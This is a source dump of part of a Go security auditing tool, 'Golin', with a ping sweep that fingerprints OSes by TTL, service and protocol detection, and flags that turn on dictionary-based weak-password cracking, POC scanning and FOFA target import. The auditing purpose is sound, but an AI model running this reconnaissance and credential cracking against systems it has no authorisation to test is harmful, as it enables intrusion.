len(iplist)-linuxcount-windowscount), 58 | color.GreenString("%d", len(iplist)), 59 | color.GreenString("%d", len(portlist)), 60 | color.GreenString("%d", chancount), 61 | color.GreenString("%d", len(iplist)*len(portlist)), 62 | color.GreenString("%ds", Timeout), 63 | color.GreenString("%dm", Timeout), 64 | ) 65 | fmt.Println("+------------------------------------------------------------+") 66 | 67 | } 68 | 69 | func SanPing() { 70 | pingch = make(chan struct{}, chancount) 71 | for _, ip := range iplist { 72 | pingch <- struct{}{} 73 | pingwg.Add(1) 74 | ip := ip 75 | go func() { 76 | defer func() { 77 | pingwg.Done() 78 | <-pingch 79 | }() 80 | yesPing, pingOS, timems := NetWorkPing(ip) //是否ping通、ttl值 81 | if !yesPing { 82 | outputMux.Lock() 83 | filteredIPList = append(filteredIPList, ip) //ping不通放入待删除切片中不进行检测 84 | outputMux.Unlock() 85 | } else { 86 | outputMux.Lock() 87 | fmt.Printf("|%-5s| %-15s|%-7s|%-4s|%sms\n", color.GreenString("%s", "存活主机"), ip, pingOS, isPublicIP(net.ParseIP(ip)), timems) 88 | switch pingOS { 89 | case "linux": 90 | linuxcount += 1 91 | case "Windows": 92 | windowscount += 1 93 | } 94 | outputMux.Unlock() 95 | } 96 | }() 97 | } 98 | 99 | } 100 | 101 | // NetWorkPing 检查ping 返回是否可ping通以及操作系统 102 | func NetWorkPing(ip string) (bool, string, string) { 103 | var cmd *exec.Cmd 104 | if runtime.GOOS == "windows" { 105 | cmd = exec.Command("ping", "-n", "2", "-w", "1", ip) 106 | } 107 | if runtime.GOOS == "darwin" { 108 | cmd = exec.Command("ping", "-c", "2", "-t", "1", ip) 109 | } 110 | if runtime.GOOS == "linux" { 111 | cmd = exec.Command("ping", "-c", "2", "-W", "1", ip) 112 | } 113 | output, err := cmd.Output() 114 | if err != nil { 115 | return false, "", "" 116 | } 117 | outttl := strings.ToLower(string(output)) //所有大写转换为小写 118 | 119 | // time 120 | re := regexp.MustCompile(`(\d+)\s?ms`) 121 | timems := "" 122 | timeStr := re.FindStringSubmatch(outttl) 123 | if len(timeStr) > 1 { 124 | inttime, _ := strconv.Atoi(timeStr[1]) 125 | if inttime > 10 { 126 | timems = fmt.Sprintf("%s", color.RedString("%s", timeStr[1])) 127 | } else { 128 | timems = fmt.Sprintf("%s", color.GreenString("%s", timeStr[1])) 129 | } 130 | } 131 | 132 | if strings.Contains(outttl, "ttl") { 133 | // Extract TTL value 134 | re := regexp.MustCompile(`ttl=(\d+)`) 135 | ttlStr := re.FindStringSubmatch(outttl) 136 | 137 | if len(ttlStr) > 1 { 138 | ttl, _ := strconv.Atoi(ttlStr[1]) 139 | switch { 140 | case ttl <= 64: 141 | return true, "linux", timems 142 | case ttl <= 128: 143 | return true, "Windows", timems 144 | default: 145 | return true, "Unknown", timems 146 | } 147 | } 148 | } 149 | return false, "", "" 150 | } 151 | 152 | // isPublicIP 检查是局域网还是互联网 153 | func isPublicIP(IP net.IP) string { 154 | private := "互联网" 155 | // 定义私有网络的范围 156 | privateNetworks := []string{ 157 | "10.0.0.0/8", // 10.0.0.0 - 10.255.255.255 158 | "172.16.0.0/12", // 172.16.0.0 - 172.31.255.255 159 | "192.168.0.0/16", // 192.168.0.0 - 192.168.255.255 160 | } 161 | 162 | for _, privateNet := range privateNetworks { 163 | _, ipnet, _ := net.ParseCIDR(privateNet) 164 | if ipnet.Contains(IP) { 165 | private = "局域网" 166 | } 167 | } 168 | 169 | return private 170 | } 171 | -------------------------------------------------------------------------------- /scan/protocol.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | Protocol2 "golin/Protocol" 7 | "net" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | // parseProtocol 协议/组件分析:有的基于默认端口去对应服务 13 | func parseProtocol(conn net.Conn, host, port string, Poc bool) string { 14 | 15 | if protocol, ok := portProtocols[port]; ok { 16 | return protocol 17 | } 18 | 19 | if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Timeout) * time.Second)); err != nil { 20 | return "" 21 | } 22 | defer func(conn net.Conn) { 23 | _ = conn.Close() 24 | }(conn) 25 | 26 | reader := bufio.NewReader(conn) 27 | line, err := reader.ReadString('\n') 28 | if err != nil { 29 | line = "" 30 | } 31 | line = strings.ReplaceAll(line, "\n", "") 32 | 33 | switch { 34 | case Protocol2.IsSSHProtocol(line): 35 | return Protocol2.IsSSHProtocolApp(line) 36 | 37 | case strings.HasPrefix(line, "220"): 38 | return "FTP" 39 | 40 | case Protocol2.IsRedisProtocol(conn): 41 | return "数据库|Redis" 42 | 43 | case Protocol2.IsTelnet(conn): 44 | return "Telnet" 45 | 46 | case Protocol2.IsPgsqlProtocol(host, port): 47 | return "数据库|PostgreSQL" 48 | 49 | case Protocol2.IsRsyncProtocol(line): 50 | return "Rsync|" + line 51 | 52 | default: 53 | isWeb := Protocol2.IsWeb(host, port, Timeout, Poc) 54 | for _, v := range isWeb { 55 | if v != "" { 56 | return fmt.Sprintf("%-5s| %s", "WEB应用", v) 57 | } 58 | } 59 | 60 | } 61 | 62 | isMySQL, version := Protocol2.IsMySqlProtocol(host, port) 63 | if isMySQL { 64 | return fmt.Sprintf("数据库|MySQL:%s", version) 65 | } 66 | 67 | return defaultPort(port) 68 | } 69 | 70 | func defaultPort(port string) string { 71 | defMap := map[string]string{ 72 | "3306": "数据库|MySQL", 73 | "23": "Telnet", 74 | "21": "FTP", 75 | "80": "WEB应用", 76 | "443": "WEB应用", 77 | "873": "Rsync", 78 | "5236": "数据库|达梦", 79 | "61616": "ActiveMQ", 80 | } 81 | value, exists := defMap[port] 82 | if exists { 83 | return value 84 | } 85 | return "" 86 | } 87 | -------------------------------------------------------------------------------- /scan/run.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "fmt" 5 | "github.com/spf13/cobra" 6 | "golin/global" 7 | "golin/scan/crack" 8 | "os" 9 | "sync" 10 | ) 11 | 12 | var ( 13 | port string //接受cli要扫描的端口 14 | iplist []string 15 | portlist []string 16 | NoPing bool //是否禁止ping监测 17 | Carck bool //是否进行弱口令扫描 18 | Poc bool //是否进行poc扫描 19 | ch = make(chan struct{}, 30) //控制并发数 20 | wg = sync.WaitGroup{} 21 | chancount int //并发数量 22 | Timeout int //超时等待时常 23 | Donetime int //端口扫描最大用时 24 | random bool //打乱顺序 25 | infolist []INFO //成功的主机列表 26 | allcount uint32 //IP*PORT的总数量 27 | donecount uint32 //线程技术的数量 28 | outputMux sync.Mutex 29 | userfile string //user字典路径 30 | passwdfile string //passwd字典路径 31 | webport bool //网站端口 32 | riskport bool //高危端口 33 | dbsport bool //数据库端口 34 | ) 35 | 36 | type INFO struct { 37 | Host string //主机 38 | Port string //开放端口 39 | Protocol string //协议 40 | } 41 | 42 | func ParseFlags(cmd *cobra.Command, args []string) { 43 | ipFile, _ := cmd.Flags().GetString("ipfile") //读取文件 44 | parseFileIP(ipFile) 45 | 46 | fofa, _ := cmd.Flags().GetString("fofa") //读取fofa数据 47 | size, _ := cmd.Flags().GetInt("fofasize") //数据条数 48 | if size == 0 { 49 | size = 100 50 | } 51 | if fofa != "" { 52 | err := parseFoFa(fofa, fmt.Sprintf("%d", size)) 53 | if err != nil { 54 | fmt.Println(err) 55 | os.Exit(0) 56 | } 57 | } 58 | 59 | ip, _ := cmd.Flags().GetString("ip") 60 | if ip == "" { 61 | if len(iplist) == 0 { 62 | conNETLocal() //当未指定IP以及IP文件时通过读取本地网卡并且过滤虚拟网卡进行扫描 63 | if len(iplist) == 0 { 64 | fmt.Printf("[-] 未指定扫描主机!\n") 65 | os.Exit(1) 66 | } 67 | } 68 | } else { 69 | parseIP(ip) 70 | } 71 | 72 | excludeiplist, _ := cmd.Flags().GetString("excludeip") //去重IP以及排查过滤IP 73 | removeIP(excludeiplist) 74 | 75 | port, _ = cmd.Flags().GetString("port") 76 | webport, _ = cmd.Flags().GetBool("web") 77 | riskport, _ = cmd.Flags().GetBool("risk") 78 | dbsport, _ = cmd.Flags().GetBool("dbs") 79 | parsePort(port) 80 | 81 | excludeport, _ := cmd.Flags().GetString("exclude") //去重端口以及排查过滤端口 82 | excludePort(excludeport) 83 | 84 | NoPing, _ = cmd.Flags().GetBool("noping") 85 | 86 | chancount, _ = cmd.Flags().GetInt("chan") //并发数量 87 | ch = make(chan struct{}, chancount) 88 | 89 | Timeout, _ = cmd.Flags().GetInt("time") //超时等待时常 90 | 91 | nocrack, _ := cmd.Flags().GetBool("nocrack") //弱口令扫描 92 | Carck = !nocrack 93 | 94 | nopoc, _ := cmd.Flags().GetBool("nopoc") //poc扫描 95 | Poc = !nopoc 96 | 97 | random, _ = cmd.Flags().GetBool("random") //打乱顺序 98 | 99 | imgsave, _ := cmd.Flags().GetBool("img") //保存网页截图 100 | global.SaveIMG = imgsave 101 | 102 | userfile, _ = cmd.Flags().GetString("userfile") 103 | passwdfile, _ = cmd.Flags().GetString("passwdfile") 104 | crack.Checkdistfile(userfile, passwdfile) //先读取是否有自定义的字典文件 105 | 106 | done, _ := cmd.Flags().GetInt("done") //超时等待时常 107 | Donetime = done 108 | scanPort(done) 109 | 110 | } 111 | -------------------------------------------------------------------------------- /web/cert.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/rsa" 6 | "crypto/x509" 7 | "crypto/x509/pkix" 8 | "encoding/pem" 9 | "golin/global" 10 | "math/big" 11 | "os" 12 | "time" 13 | ) 14 | 15 | func CreateCert() { 16 | priv, err := rsa.GenerateKey(rand.Reader, 2048) 17 | if err != nil { 18 | panic(err) 19 | } 20 | 21 | notBefore := time.Now() 22 | notAfter := notBefore.Add(365 * 24 * time.Hour) 23 | 24 | template := x509.Certificate{ 25 | // 设置证书版本为 v3 26 | Version: 3, 27 | SerialNumber: big.NewInt(1), 28 | Subject: pkix.Name{ 29 | Organization: []string{"高业尚"}, 30 | CommonName: "Golin安全加密", 31 | }, 32 | Issuer: pkix.Name{ 33 | CommonName: "高业尚", 34 | }, 35 | NotBefore: notBefore, 36 | NotAfter: notAfter, 37 | KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, 38 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, 39 | BasicConstraintsValid: true, 40 | IsCA: true, 41 | } 42 | 43 | derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) 44 | if err != nil { 45 | panic(err) 46 | } 47 | 48 | if !global.PathExists("cert") { 49 | os.Mkdir("cert", os.FileMode(global.FilePer)) 50 | } 51 | certOut, err := os.Create("cert/cert.pem") 52 | if err != nil { 53 | panic(err) 54 | } 55 | defer certOut.Close() 56 | 57 | pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}) 58 | 59 | keyOut, err := os.Create("cert/key.pem") 60 | if err != nil { 61 | panic(err) 62 | } 63 | defer keyOut.Close() 64 | 65 | pkcs1PrivateKey := x509.MarshalPKCS1PrivateKey(priv) 66 | pem.Encode(keyOut, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: pkcs1PrivateKey}) 67 | } 68 | -------------------------------------------------------------------------------- /web/execl.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "fmt" 5 | "github.com/xuri/excelize/v2" 6 | "golin/global" 7 | ) 8 | 9 | // CreateTmpTxt 生成xlsx转txt文件 10 | func CreateTmpTxt(xlsx, txt string) bool { 11 | f, err := excelize.OpenFile(xlsx) 12 | if err != nil { 13 | fmt.Println(err) 14 | return false 15 | } 16 | defer f.Close() 17 | // 获取 Sheet1 上所有单元格 18 | rows, err := f.GetRows("Sheet1") 19 | if err != nil { 20 | fmt.Println(err) 21 | return false 22 | } 23 | for v, row := range rows { 24 | iplist := []string{} 25 | for _, colCell := range row { 26 | if v == 0 { 27 | continue 28 | } 29 | iplist = append(iplist, colCell) 30 | } 31 | if len(iplist) > 0 { 32 | err := global.AppendToFile(txt, fmt.Sprintf("%v~~%v~~%v~~%v~~%v\n", iplist[0], iplist[1], iplist[2], iplist[3], iplist[4])) 33 | if err != nil { 34 | return false 35 | } 36 | } 37 | } 38 | 39 | return true 40 | 41 | } 42 | 43 | // CreateTemplateXlsx 生成golin上传模板文件 44 | func CreateTemplateXlsx() bool { 45 | f := excelize.NewFile() 46 | defer f.Close() 47 | // 创建一个工作表 48 | index, err := f.NewSheet("Sheet1") 49 | if err != nil { 50 | fmt.Println(err) 51 | return false 52 | } 53 | // 设置单元格的值 54 | f.SetCellValue("Sheet1", "A1", "名称") 55 | f.SetCellValue("Sheet1", "B1", "IP") 56 | f.SetCellValue("Sheet1", "C1", "用户") 57 | f.SetCellValue("Sheet1", "D1", "密码") 58 | f.SetCellValue("Sheet1", "E1", "端口") 59 | // 设置工作簿的默认工作表 60 | f.SetActiveSheet(index) 61 | // 根据指定路径保存文件 62 | if err := f.SaveAs(global.XlsxTemplateName); err != nil { 63 | fmt.Println(err) 64 | return false 65 | } 66 | return true 67 | } 68 | -------------------------------------------------------------------------------- /web/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/web/favicon.ico -------------------------------------------------------------------------------- /web/history.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "bufio" 5 | "encoding/json" 6 | "fmt" 7 | "golin/global" 8 | "os" 9 | ) 10 | 11 | type Service struct { 12 | Name string `json:"name"` 13 | Ip string `json:"ip"` 14 | User string `json:"user"` 15 | Port string `json:"port"` 16 | Type string `json:"type"` 17 | Time string `json:"time"` 18 | Status string `json:"status"` 19 | } 20 | 21 | const ( 22 | Success = "成功" 23 | Failed = "失败" 24 | ) 25 | 26 | // WriteJSONToHistory 将结构体切片转换为JSON并写入文件 27 | func WriteJSONToHistory(service Service) { 28 | data, _ := json.Marshal(service) 29 | writedata := string(data) + "\n" 30 | global.AppendToFile(global.Succwebpath, writedata) 31 | } 32 | 33 | func parseJSONFile() ([]Service, error) { 34 | file, err := os.Open(global.Succwebpath) 35 | if err != nil { 36 | return nil, err 37 | } 38 | defer file.Close() 39 | 40 | var services []Service 41 | 42 | scanner := bufio.NewScanner(file) 43 | for scanner.Scan() { 44 | line := scanner.Bytes() 45 | var service Service 46 | err := json.Unmarshal(line, &service) 47 | if err != nil { 48 | return nil, err 49 | } 50 | services = append(services, service) 51 | } 52 | 53 | if err := scanner.Err(); err != nil { 54 | return nil, err 55 | } 56 | 57 | return services, nil 58 | } 59 | 60 | // ReadJSONFromFile 文件中读取JSON并将其转换为结构体切片 61 | func ReadJSONFromFile() ([]Service, error) { 62 | data, err := os.ReadFile(global.Succwebpath) 63 | if err != nil { 64 | fmt.Println(err) 65 | return nil, err 66 | } 67 | 68 | var allserver []Service 69 | err = json.Unmarshal(data, &allserver) 70 | if err != nil { 71 | fmt.Println(err) 72 | return nil, err 73 | } 74 | 75 | return allserver, nil 76 | } 77 | -------------------------------------------------------------------------------- /web/template/error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 提示信息 8 | 75 | 76 | 77 |
78 |

{{ .Status }}

79 |

{{ .Message }}

80 | 返回首页 81 |
82 | 83 | -------------------------------------------------------------------------------- /web/template/golinHistoryIndex.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 历史任务 8 | 73 | 74 | 75 | 76 |
77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | {{range .Data}} 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | {{end}} 103 | 104 |
序号名称IP用户端口类型时间状态
{{.Id}}{{.Name}}{{.IP}}{{.User}}{{.Port}}{{.Mode}}{{.Time}}{{.Status}}
105 |
106 | 107 | -------------------------------------------------------------------------------- /web/template/golinHome.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Golin Web 9 | 82 | 101 | 102 | 103 | 104 |
105 |

Golin 网络安全等级保护核查工具

106 | 115 | 118 |
119 | 120 | 121 | 122 | -------------------------------------------------------------------------------- /web/template/indexFile.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Golin自动化平台_多主机(高业尚:{{ .Version }}) 7 | 73 | 74 | 75 |
76 |

多主机安全核查

77 | 单主机模式 78 | 下载模板文件 79 |
80 | 81 | 82 | 92 | 93 |
94 |
95 | 99 | 100 | -------------------------------------------------------------------------------- /web/web.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "embed" 5 | "fmt" 6 | "github.com/gin-gonic/gin" 7 | "github.com/spf13/cobra" 8 | "golin/global" 9 | "html/template" 10 | "net/http" 11 | "os/exec" 12 | "runtime" 13 | ) 14 | 15 | var save bool 16 | 17 | //go:embed favicon.ico 18 | var faviconFS embed.FS 19 | 20 | //go:embed template/* 21 | var f embed.FS 22 | 23 | func Start(cmd *cobra.Command, args []string) { 24 | 25 | if !global.PathExists("cert/cert.pem") || !global.PathExists("cert/cert.key") { 26 | CreateCert() 27 | } 28 | 29 | ip, _ := cmd.Flags().GetString("ip") 30 | port, _ := cmd.Flags().GetString("port") 31 | save, _ = cmd.Flags().GetBool("save") 32 | r := gin.Default() 33 | tmpl := template.Must(template.New("").ParseFS(f, "template/*")) 34 | r.SetHTMLTemplate(tmpl) 35 | r.Use(func(c *gin.Context) { 36 | c.Header("author", "gaoyeshang") 37 | c.Header("VX", "SelinuxG") 38 | c.Next() 39 | }) 40 | r.NoRoute(func(c *gin.Context) { 41 | GolinErrorhtml("404", "sorry~请求不存在哦!", c) 42 | }) 43 | r.GET("/favicon.ico", faviconHandler) //路由图标 44 | r.GET("/", func(c *gin.Context) { 45 | c.Redirect(302, "/golin/gys") 46 | }) 47 | 48 | golin := r.Group("/golin") 49 | { 50 | golin.GET("/gys", GolinHome) //首页 51 | golin.GET("/index", GolinIndex) //单主机index 52 | golin.GET("/indexfile", GolinIndexFile) //多主机index 53 | golin.GET("/modefile", GolinMondeFileGet) //返回模板文件 54 | golin.POST("/submit", GolinSubmit) //提交单主机任务 55 | golin.POST("/submitfile", GolinSubmitFile) //提交多主机任务 56 | golin.GET("/history", GolinHistory) //历史记录 57 | golin.GET("/update", GolinUpdate) //检查更新 58 | golin.GET("/dj", GolinDj) //模拟定级首页 59 | } 60 | // Windows、Mac下在默认浏览器中打开网页 61 | go func() { 62 | if runtime.GOOS == "windows" { 63 | cmd := exec.Command("cmd", "/C", fmt.Sprintf("start https://%s:%s/golin/gys", ip, port)) 64 | err := cmd.Run() 65 | if err != nil { 66 | fmt.Println("Error opening the browser:", err) 67 | } 68 | } 69 | if runtime.GOOS == "darwin" { 70 | cmd := exec.Command("open", fmt.Sprintf("https://%s:%s/golin/gys", ip, port)) 71 | err := cmd.Run() 72 | if err != nil { 73 | fmt.Println("Error opening the browser:", err) 74 | } 75 | } 76 | }() 77 | // 启动gin 78 | r.RunTLS(ip+":"+port, "cert/cert.pem", "cert/key.pem") 79 | } 80 | 81 | func faviconHandler(c *gin.Context) { 82 | c.FileFromFS("favicon.ico", http.FS(faviconFS)) 83 | } 84 | -------------------------------------------------------------------------------- /web/zip.go: -------------------------------------------------------------------------------- 1 | package web 2 | 3 | import ( 4 | "archive/zip" 5 | "fmt" 6 | "io" 7 | "os" 8 | "path/filepath" 9 | ) 10 | 11 | // CreateZipFromFiles 将文件路径切片中的文件压缩成一个名为saveName的zip包 12 | func CreateZipFromFiles(filePaths []string, saveName string) error { 13 | // 创建保存的zip文件 14 | zipFile, err := os.Create(saveName) 15 | if err != nil { 16 | return fmt.Errorf("创建zip文件失败: %v", err) 17 | } 18 | defer zipFile.Close() 19 | 20 | // 创建zip.Writer,它将向zip文件写入内容 21 | zipWriter := zip.NewWriter(zipFile) 22 | defer zipWriter.Close() 23 | 24 | // 遍历文件路径切片 25 | for _, filePath := range filePaths { 26 | if err = addFileToZip(filePath, zipWriter); err != nil { 27 | return fmt.Errorf("添加文件到zip失败: %v", err) 28 | } 29 | } 30 | return nil 31 | } 32 | 33 | // addFileToZip 向zip包中添加文件 34 | func addFileToZip(filePath string, zipWriter *zip.Writer) error { 35 | // 打开待压缩文件 36 | file, err := os.Open(filePath) 37 | if err != nil { 38 | return err 39 | } 40 | defer file.Close() 41 | 42 | // 获取文件信息 43 | info, err := file.Stat() 44 | if err != nil { 45 | return err 46 | } 47 | 48 | header, err := zip.FileInfoHeader(info) 49 | if err != nil { 50 | return err 51 | } 52 | 53 | header.Name = filepath.Base(filePath) 54 | header.Method = zip.Deflate 55 | 56 | writer, err := zipWriter.CreateHeader(header) 57 | if err != nil { 58 | return err 59 | } 60 | 61 | _, err = io.Copy(writer, file) 62 | return err 63 | } 64 | --------------------------------------------------------------------------------